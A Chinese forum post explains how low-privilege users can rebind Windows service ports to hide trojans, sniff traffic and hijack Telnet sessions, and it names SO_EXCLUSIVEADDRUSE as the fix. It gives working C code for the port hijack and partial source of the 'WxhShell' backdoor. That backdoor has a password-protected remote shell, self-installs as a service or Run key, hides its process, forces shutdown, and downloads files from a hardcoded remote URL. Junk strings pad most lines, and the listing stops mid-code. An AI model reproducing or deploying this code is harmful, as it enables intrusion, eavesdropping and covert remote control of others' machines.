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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zh?n;n}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y!j>_m){w  
fo I:`]2"*  
  saddr.sin_family = AF_INET; ,yi@?lc  
Pfm B{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lI5>d(6p  
#4Cf-$J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lB|.TCbW  
E/E|*6R  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &(20*Vn,O  
mUiJ@  
  这意味着什么?意味着可以进行如下的攻击: WkoYkkuzj  
pU u')y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D P:}<  
zXd#kw;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >EgMtZ88.<  
>rFM8P(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b_@bS<wsF}  
F<,"{L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t 9_&n.z  
CY)[{r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fl*49-d  
Ba n^wX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =1mIk0H`  
]oC7{OoX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'qidorT>N  
f{'N O`G  
  #include b/=>'2f  
  #include M/}i7oS]  
  #include 0LP>3"Sm  
  #include    P{8<U8E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a$G hb]  
  int main() QX9['B<  
  { 6 %T_;"hb  
  WORD wVersionRequested; "3?:,$*  
  DWORD ret; k:1|Z+CJ  
  WSADATA wsaData; )/{~&L U  
  BOOL val; A{52T]9X  
  SOCKADDR_IN saddr; j*_#{niy:  
  SOCKADDR_IN scaddr; 5)M#hx%]#  
  int err; 4o@^._-R  
  SOCKET s; yLt>OA<X  
  SOCKET sc; VO*fC  
  int caddsize; yIS&ZtBA  
  HANDLE mt; ab<7jfFIa  
  DWORD tid;   77G4E ,]  
  wVersionRequested = MAKEWORD( 2, 2 ); ~@iYP/=/Q  
  err = WSAStartup( wVersionRequested, &wsaData ); 1 ,6Y)_  
  if ( err != 0 ) { m=]}Tn  
  printf("error!WSAStartup failed!\n"); * @&V=l  
  return -1; .O9Pn,:  
  } JWQ.Efe  
  saddr.sin_family = AF_INET; a+n?y)u  
   [g: KFbEY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kgRgHkAH~  
B5va4@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cLMFC1=b  
  saddr.sin_port = htons(23); t%Y}JKLR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "o<&3c4  
  { 'ExQG$t  
  printf("error!socket failed!\n"); iP?=5j=4  
  return -1; <P c;8[  
  } it=ir9  
  val = TRUE; vLM-v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 wpm $?X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <U""CAE  
  { pKk{Q0Rt  
  printf("error!setsockopt failed!\n"); Vj_z"t7q  
  return -1; T'VKZ5W  
  } )`m/vYKWL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qTnk>g_oS&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `Zz;[<*<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :D=y<n;S+  
_ud !:q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Eb\SK"8  
  { })ic@ Mmd$  
  ret=GetLastError(); $ ?YSAD1  
  printf("error!bind failed!\n"); ':T6m=yv  
  return -1; TfFH!1^+  
  } 7p,!<X}%  
  listen(s,2); m?<5-"hz  
  while(1) z%L\EP;o}  
  { 1=Q3WMT  
  caddsize = sizeof(scaddr); IZ+ZIR@}ci  
  //接受连接请求 1$ {Cwb/F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); " G0HsXi  
  if(sc!=INVALID_SOCKET) xA"7a  
  { ^g n7DiIPH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u_ym=N57`  
  if(mt==NULL) eHI7= [h  
  { Jgf= yri  
  printf("Thread Creat Failed!\n"); }m-+EUEo9  
  break; )Ft>X9$  
  } dn= g!=  
  } QgW4jIbx  
  CloseHandle(mt); iYzm<3n?  
  } ^2!l/(?  
  closesocket(s); N >+L?C  
  WSACleanup(); \-)augq([  
  return 0; >*[Bq;  
  }   7_AcvsdW  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4[m4u6z=  
  { EX,)MU  
  SOCKET ss = (SOCKET)lpParam; 5TcirVO82  
  SOCKET sc; z8n]6FDiE  
  unsigned char buf[4096]; n/-d56  
  SOCKADDR_IN saddr; KdkZ-.  
  long num; 5y|/}D>  
  DWORD val; a`uHkRX )U  
  DWORD ret; ,;-55|o\V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -<WQ>mrB&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %wS5m#n  
  saddr.sin_family = AF_INET; [|\BuUT'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \^rAH@  
  saddr.sin_port = htons(23); M\ {W&o1!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *ZA.O  
  { bcZ s+FOPd  
  printf("error!socket failed!\n"); A{b?ZT~2]  
  return -1; D<*#. >  
  } 66l$}+|Zzc  
  val = 100; B*j AD2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2x&mJ}o#k  
  { vFGFFA/K}N  
  ret = GetLastError(); 'Ijjk`d&c  
  return -1; !&OybjQ  
  } c_^-`7g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9hIcnPu  
  { _,;|,  
  ret = GetLastError(); QC*> qo  
  return -1; eZ~ZWb,%  
  } rZv5>aEI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cA{zyq26  
  { 'X(G><R9  
  printf("error!socket connect failed!\n"); geRD2`3;  
  closesocket(sc); []rg'9B2b  
  closesocket(ss); <UcbBcW,  
  return -1; _e3kO6X  
  } nWAx!0G  
  while(1) DU/WB  
  { MH,vn</Uw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @ \(*pa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dk XB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a,sU-w!X'  
  num = recv(ss,buf,4096,0); h&}XG\ioNA  
  if(num>0) .oFkx*Ln  
  send(sc,buf,num,0); >>C(y?g  
  else if(num==0) 2|n~5\K|t  
  break; 0*KU"JcXd  
  num = recv(sc,buf,4096,0); 5ZkMd !$y  
  if(num>0) LMmW3W`   
  send(ss,buf,num,0); ,#P eK(  
  else if(num==0) f._FwD  
  break; ;8 D31OT  
  } k )T;WCia  
  closesocket(ss); wZA(><\  
  closesocket(sc); "`AIU}[_I  
  return 0 ; UlN+  
  } D20n'>ddg  
E|jbbCZy2  
 v NJ!d  
========================================================== Z?^~f}+  
76rNs|z~  
下边附上一个代码,,WXhSHELL i|5K4Puu  
^Fr82rJs  
========================================================== W=$d|*$  
tNI~<#+lg  
#include "stdafx.h" U0/X!@F-  
g6kVHxh-  
#include <stdio.h> Nn],sEs  
#include <string.h> E}V8+f54S  
#include <windows.h> d?)C} 2  
#include <winsock2.h> SqhG\qE{Qj  
#include <winsvc.h> u^T{sQ"_  
#include <urlmon.h> OJUH".o  
)o<rU[oD]C  
#pragma comment (lib, "Ws2_32.lib") :N<ZO`l?  
#pragma comment (lib, "urlmon.lib") 7Xu.z9y  
)r#^{{6[v  
#define MAX_USER   100 // 最大客户端连接数 Ih]'OaE   
#define BUF_SOCK   200 // sock buffer I-Ya#s#m  
#define KEY_BUFF   255 // 输入 buffer lth t'|  
Vb`m3  
#define REBOOT     0   // 重启 a~_5N&~pi  
#define SHUTDOWN   1   // 关机 8pfQAzl  
ZS@Cd9*  
#define DEF_PORT   5000 // 监听端口 ptXLWv`  
0\*6U H  
#define REG_LEN     16   // 注册表键长度 E5P?(5Nv  
#define SVC_LEN     80   // NT服务名长度 # 4AyA$t  
$4\,a^  
// 从dll定义API fCL5Et  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x>^r%<WbX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p xrd D7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p2;-*D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xe;1D'(   
|5 sI=?p&t  
// wxhshell配置信息 (#WE9~Sru  
struct WSCFG { 1)8;9 Ba:  
  int ws_port;         // 监听端口 G9.+N~GZ.  
  char ws_passstr[REG_LEN]; // 口令 D_%y&p?<Ls  
  int ws_autoins;       // 安装标记, 1=yes 0=no %.kJ@@_e  
  char ws_regname[REG_LEN]; // 注册表键名 .6yC' 3~;o  
  char ws_svcname[REG_LEN]; // 服务名 #TLqo(/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5fK#*(x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y!C=0&p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C ebl"3Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -t, .A/?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /h=:heS4$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V/Q~NX N  
\lVxlc0{?  
}; H1H+TTZr  
* _puW x  
// default Wxhshell configuration P%8zxU;  
struct WSCFG wscfg={DEF_PORT, %,-oxeM1u  
    "xuhuanlingzhe", ^w eU\  
    1, g|r:+%,M  
    "Wxhshell", RzG<&a3B3s  
    "Wxhshell", )6# i>c-  
            "WxhShell Service", =IH z@CU  
    "Wrsky Windows CmdShell Service", !xm87I  
    "Please Input Your Password: ", MXWCYi  
  1, ;Jex#+H(:D  
  "http://www.wrsky.com/wxhshell.exe", V&x6ru#  
  "Wxhshell.exe" J;pn5k~3  
    }; K4Mv\!Q<8  
N'nI ^=  
// 消息定义模块 ] Ma2*E !p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gw0b>E8gZ&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zT[[WY4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ] 8sVXZ  
char *msg_ws_ext="\n\rExit."; K8{Ub  
char *msg_ws_end="\n\rQuit."; F2yc&mXyk  
char *msg_ws_boot="\n\rReboot..."; 0p\cDrB ?  
char *msg_ws_poff="\n\rShutdown..."; ^Jb=&u$  
char *msg_ws_down="\n\rSave to "; zK`z*\  
\K+LKa)  
char *msg_ws_err="\n\rErr!"; /xmUu0H$R  
char *msg_ws_ok="\n\rOK!"; >1[Hk0 <x  
eJ+V!K'H2  
char ExeFile[MAX_PATH]; 3+gp_7L  
int nUser = 0; _Y '+E  
HANDLE handles[MAX_USER]; <(rf+Ou>I  
int OsIsNt; -I7"9}j3  
-,NiSh}A  
SERVICE_STATUS       serviceStatus; 1s4+a^ &  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u 9Wi@sO#  
:jB8Q$s  
// 函数声明 Z `FqC  
int Install(void); m&xyw9a  
int Uninstall(void); Ti`H?9t  
int DownloadFile(char *sURL, SOCKET wsh); ` V}e$  
int Boot(int flag); \'I->O]  
void HideProc(void); Gma)8X#  
int GetOsVer(void); md_9bq/w  
int Wxhshell(SOCKET wsl); x35(i  
void TalkWithClient(void *cs); =vx iqRm  
int CmdShell(SOCKET sock); [ay~l%x  
int StartFromService(void); }Wf\\  
int StartWxhshell(LPSTR lpCmdLine); 1{B^RR.  
Fj<#*2{]B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9s\;,!b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HCHZB*r[  
T&6W>VQ|[>  
// 数据结构和表定义 PYDf|S7  
SERVICE_TABLE_ENTRY DispatchTable[] = 'ojI_%9<  
{ KD9Y  
{wscfg.ws_svcname, NTServiceMain}, ~C6Qp`VF  
{NULL, NULL} ]K'iCYY  
}; "f|\":\  
~GJJ{Bm_  
// 自我安装 GQXN1R   
int Install(void) f.ku v"  
{ o:u *E  
  char svExeFile[MAX_PATH]; :Hdn&a i  
  HKEY key; 2x-67_BHY=  
  strcpy(svExeFile,ExeFile); %\8E{M:  
pj.}VF!d  
// 如果是win9x系统,修改注册表设为自启动 B d$i%.r  
if(!OsIsNt) { @RW=(&<1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E"7 iU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5tMp@$F\{[  
  RegCloseKey(key); Nq|b$S[4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  FVOR~z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d4h1#MK  
  RegCloseKey(key); P#5&D*`}h  
  return 0; `~'yy q  
    } M&Aeh8>uX  
  } 9$7tB  
} HMT^gmF)  
else { 0q`n]NM  
.du FMJl  
// 如果是NT以上系统,安装为系统服务 4J3cQ;z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X_Vj&{  
if (schSCManager!=0) k^-HY[Q9  
{ jRP.Je@t  
  SC_HANDLE schService = CreateService ;`IZ&m$  
  ( IM:*uv  
  schSCManager, .[Ezg(U}ze  
  wscfg.ws_svcname, .c~`{j}  
  wscfg.ws_svcdisp, SS;[{u!  
  SERVICE_ALL_ACCESS, {VqcZhqy/l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dLQV>oF  
  SERVICE_AUTO_START, <4Z;a2l}U  
  SERVICE_ERROR_NORMAL, c}K>#{YeB  
  svExeFile, A<esMDX  
  NULL, FV|/o%XqK  
  NULL, ]i\C4*  
  NULL, Gz)]1Z{%$  
  NULL, ,zmGKn#n2  
  NULL bd],fNgJ  
  ); dZ'hTzw~  
  if (schService!=0) _&s37A&\  
  { O 4xV "\  
  CloseServiceHandle(schService); 3#7D g't  
  CloseServiceHandle(schSCManager); vCE1R]^A.]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~D1.opj3  
  strcat(svExeFile,wscfg.ws_svcname); A%S6&!I:(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _U<sz{6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NsYeg&>`  
  RegCloseKey(key); v^_OX $=,  
  return 0; iT#)i3   
    } |pB[g> ~V  
  } )r _zM~jI  
  CloseServiceHandle(schSCManager); p:]kH  
} "]|I;I"b  
} ao>`[-  
GrWzgO  
return 1; FL -yt  
} 0mj^Tms  
Y'6GY*dL  
// 自我卸载 /8 /2#`3R  
int Uninstall(void) ptXCM[Z+  
{ %G!BbXlz  
  HKEY key; /lBx}o'  
> D:( HWL  
if(!OsIsNt) { #SiOx/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  A i`  
  RegDeleteValue(key,wscfg.ws_regname); FbRq h|  
  RegCloseKey(key);  ?Y4$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  w+<`>  
  RegDeleteValue(key,wscfg.ws_regname); {%!.aQ,  
  RegCloseKey(key); ;  ntq%  
  return 0; :BFecS&i5  
  }  =lIG#{`Q  
} r@;n \  
} C^vB&3ghi  
else { 0_7A <   
 h"<-^=b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5"1kfB3v  
if (schSCManager!=0) G2Zr (b')  
{ Ms8& $  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J)R;NYl  
  if (schService!=0) E>xd*23+\  
  { w>M8 FG(4]  
  if(DeleteService(schService)!=0) {  'Q\I@s }  
  CloseServiceHandle(schService); mouLjT&p  
  CloseServiceHandle(schSCManager); pUV3n 1{2  
  return 0; ~Xa8\>  
  } "W:#4@ F  
  CloseServiceHandle(schService); #kD8U#  
  } 83io@*D  
  CloseServiceHandle(schSCManager); E:,V{&tLK  
} at_~b Ox6X  
} f=%k9Y*)  
<1~5l ~  
return 1; ]+RBykr  
} ~Dsz9  f  
,U9gg-.Lp  
// 从指定url下载文件 0Q]@T@F.  
int DownloadFile(char *sURL, SOCKET wsh) eq)8V x0  
{ A|!u`^p  
  HRESULT hr; |> mx*G  
char seps[]= "/";  [wS~.  
char *token; 6 Fz?'Xf  
char *file; G:TM k4  
char myURL[MAX_PATH]; ]oy>kRnb {  
char myFILE[MAX_PATH]; wm>I;|gA)  
ZuV/!9qU  
strcpy(myURL,sURL); e RiPC  
  token=strtok(myURL,seps); ,A`.u\f(:  
  while(token!=NULL) qF9z@a  
  { )@"iWQ 3K  
    file=token; . e' vc  
  token=strtok(NULL,seps); $ f`\TKlN  
  } mx`C6G5  
4c"x&x|  
GetCurrentDirectory(MAX_PATH,myFILE); h`X>b/V  
strcat(myFILE, "\\"); ;{xk[f m=  
strcat(myFILE, file); N;4tvWI  
  send(wsh,myFILE,strlen(myFILE),0); k)+2+hX&>  
send(wsh,"...",3,0); q$>/~aVM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F2QX ^*  
  if(hr==S_OK) rVU::C+-  
return 0; wBr$3:  
else  iC]=S}  
return 1; FGzMbi<l#(  
+S!gS|8P  
} >_9w4g_<  
.GG6wL<$?  
// 系统电源模块 r q2]u  
int Boot(int flag) rdK=f<I]  
{ }:NE  
  HANDLE hToken; 2, bo  
  TOKEN_PRIVILEGES tkp; :CH?,x^!@  
!?t#QD o  
  if(OsIsNt) { dW hU o\>=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >l|ao&z>bm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :xdl I`S  
    tkp.PrivilegeCount = 1; [kfLT::mT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >s3H_X3F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e !_+TyI  
if(flag==REBOOT) { 0 t.'?=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5#Z>}@/  
  return 0; QIZ }7  
} Gn}G$uk61  
else { ILsw'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tYE\tbCO'  
  return 0; >f7;45i  
} Kh{C$b  
  } G&P[n8Z$  
  else { !`j}%!K!  
if(flag==REBOOT) { U&DD+4+28:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yb)!jLnH  
  return 0; N%8O9Dp8;  
} &j4 1<A  
else { crx8+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5X2&hG*  
  return 0; TFrZ+CcWp2  
} MfzSoxCb  
} 3LT[?C]H$  
s zgq7  
return 1; E1p?v!   
} 2D,EWk/4  
fTn  
// win9x进程隐藏模块 eC+S'Jgf  
void HideProc(void) 2"Oj* ;  
{ r*e<`Is  
NkWU5E!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XE/K|o^Hp  
  if ( hKernel != NULL ) ?!PpooYK  
  { zT;F4_p3G-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +k@$C,A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :a YbP,mE  
    FreeLibrary(hKernel); 1: cD\  
  } $w,&h:.p  
85$W\d  
return; ``l7|b jJ  
} |7 .WP;1  
JA .J~3  
// 获取操作系统版本 >Q159qZ  
int GetOsVer(void) ~N2<-~=si  
{ "?_r?~sJx  
  OSVERSIONINFO winfo; XYeuYLut  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PjL"7^Q&  
  GetVersionEx(&winfo); @qC](5|TQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Knd2s~S  
  return 1; G5JZpB#o  
  else {yPJYF_l  
  return 0; B2}|b^'I  
} R?,Oh*  
q|Oz   
// 客户端句柄模块 X?p.U  
int Wxhshell(SOCKET wsl) :%&~/@B  
{ 5W UM"eBwL  
  SOCKET wsh; -b?yzg, 8  
  struct sockaddr_in client; )ad-p.Hus  
  DWORD myID; <F~0D0G  
^ +e5 M1U=  
  while(nUser<MAX_USER) 5 iz(R:P<  
{ 5.1 c#rL  
  int nSize=sizeof(client); {+n0t1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IaDN[:SX  
  if(wsh==INVALID_SOCKET) return 1; z%$,F9/  
&f2'cR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KW1 7CJ@  
if(handles[nUser]==0) )0RznFJ+X  
  closesocket(wsh); Us5P?}  
else P5vxQR_*lc  
  nUser++; pA ,xDs@37  
  } *3,Kn}ik  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xy/B<.M1  
3%"r%:fQB/  
  return 0; I2U/ \  
} _trF/U<  
s]tBd !~  
// 关闭 socket dZS v=UY)  
void CloseIt(SOCKET wsh) zcn> 4E)  
{ !!jitFHzb  
closesocket(wsh); @U~i<kt  
nUser--; Xup"gYTZQ  
ExitThread(0); ~Ogtgr  
} u{Z 4M3U  
tEj-c@`"x-  
// 客户端请求句柄 tC4:cX  
void TalkWithClient(void *cs) C(RZ09,.S  
{ i4',d#  
L<GF1I)  
  SOCKET wsh=(SOCKET)cs; e@Cv')]B  
  char pwd[SVC_LEN]; dZMOgZ.!yr  
  char cmd[KEY_BUFF]; M/O4JZEqh  
char chr[1]; 88K=jo))b  
int i,j; R F)Qsa  
WcG!6.U>  
  while (nUser < MAX_USER) { t[L_n m5-  
*5kQ6#l  
if(wscfg.ws_passstr) { `cz%(Ry,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e58   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >u6*P{;\  
  //ZeroMemory(pwd,KEY_BUFF); R a> k#pQ  
      i=0; :^G;`T`L  
  while(i<SVC_LEN) { fmDn1N-bG  
R<5GG|(B  
  // 设置超时 #_A <C+[  
  fd_set FdRead; $r>\y (W  
  struct timeval TimeOut; 3)? v  
  FD_ZERO(&FdRead); *{ =5AW}o  
  FD_SET(wsh,&FdRead); 2jMV6S9  
  TimeOut.tv_sec=8; 72YL   
  TimeOut.tv_usec=0; "*ot:;I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }I1A4=d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "0,d)L0,"  
>z(AQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )yHJc$OlMx  
  pwd=chr[0]; #/UlW  
  if(chr[0]==0xd || chr[0]==0xa) { 13:yaRo  
  pwd=0; \Mi] !b|8  
  break; +PCsp'D d  
  } Usa  
  i++; eHjna\C  
    } +c8cyx:^f  
9JG9;[  
  // 如果是非法用户,关闭 socket SkmLX@:(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M-K.[}}-d  
} h1 y6`m9  
y .+d3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lzKJy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I jK  
j-?zB .jAh  
while(1) { zW,Nv>Ac5  
(Wj2%*NT  
  ZeroMemory(cmd,KEY_BUFF); kLr6j-X  
yNVmTb9mF  
      // 自动支持客户端 telnet标准   &_DRrp0CN  
  j=0; ?r`UBR+[  
  while(j<KEY_BUFF) { {3jV ,S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4f}:)M$5  
  cmd[j]=chr[0]; d )}@0Q  
  if(chr[0]==0xa || chr[0]==0xd) { @V9qbr= Z  
  cmd[j]=0; TQcEe@$)  
  break; h-^7cHI}  
  } L>,j*a_[  
  j++; @YH<Hc  
    } P3due|4M  
#4?(A[]>H  
  // 下载文件 ndsu}:my  
  if(strstr(cmd,"http://")) { |5ifgSZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f;Iaf#V_  
  if(DownloadFile(cmd,wsh)) -y@5% _-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^\q Fj  
  else cH5@Jam  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K*ZH<@o4  
  } LX i?FQnLu  
  else { v(H CnC  
C:]&V*d.v4  
    switch(cmd[0]) { ,u^RZ[}  
  vPVA^UPNV  
  // 帮助 H%K,2/Nj  
  case '?': { c:a5pd7T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {29x5J  
    break; Xv`c@n )  
  } k 5<[N2D|!  
  // 安装 #4WA2EW  
  case 'i': { :%#(<@{  
    if(Install()) \~1>%F'op  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dIOj]5H3F  
    else a ]PS`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jkc1ih`^  
    break; Kg#5 @;  
    } ?pT\Ft V  
  // 卸载 Qx_K)  
  case 'r': { pB3dx#l  
    if(Uninstall()) [n53 eC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); if S) < t  
    else JD\:bI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HuX{8nl a  
    break; q{rc[ s?  
    } $] js0 )>  
  // 显示 wxhshell 所在路径 \X'{ ee  
  case 'p': { a"!D @a  
    char svExeFile[MAX_PATH]; ]Z@+ |&@L  
    strcpy(svExeFile,"\n\r"); ,oW8im   
      strcat(svExeFile,ExeFile); 8gA:s`ofJ  
        send(wsh,svExeFile,strlen(svExeFile),0); ng ZkBX  
    break; }ph;~og}y  
    } lS`hJ:  
  // 重启 ;'o:1{Y  
  case 'b': { e[3 rz%'Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x*)@:W!  
    if(Boot(REBOOT)) =5JTVF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YWf w%p?n"  
    else { 7VP[U,  
    closesocket(wsh); ]"Do%<  
    ExitThread(0); )xJo/{?  
    } "TWNit  
    break; )8H5ovj.  
    } zUw9  
  // 关机 =xs{Ov=  
  case 'd': { +OUYQMmM  
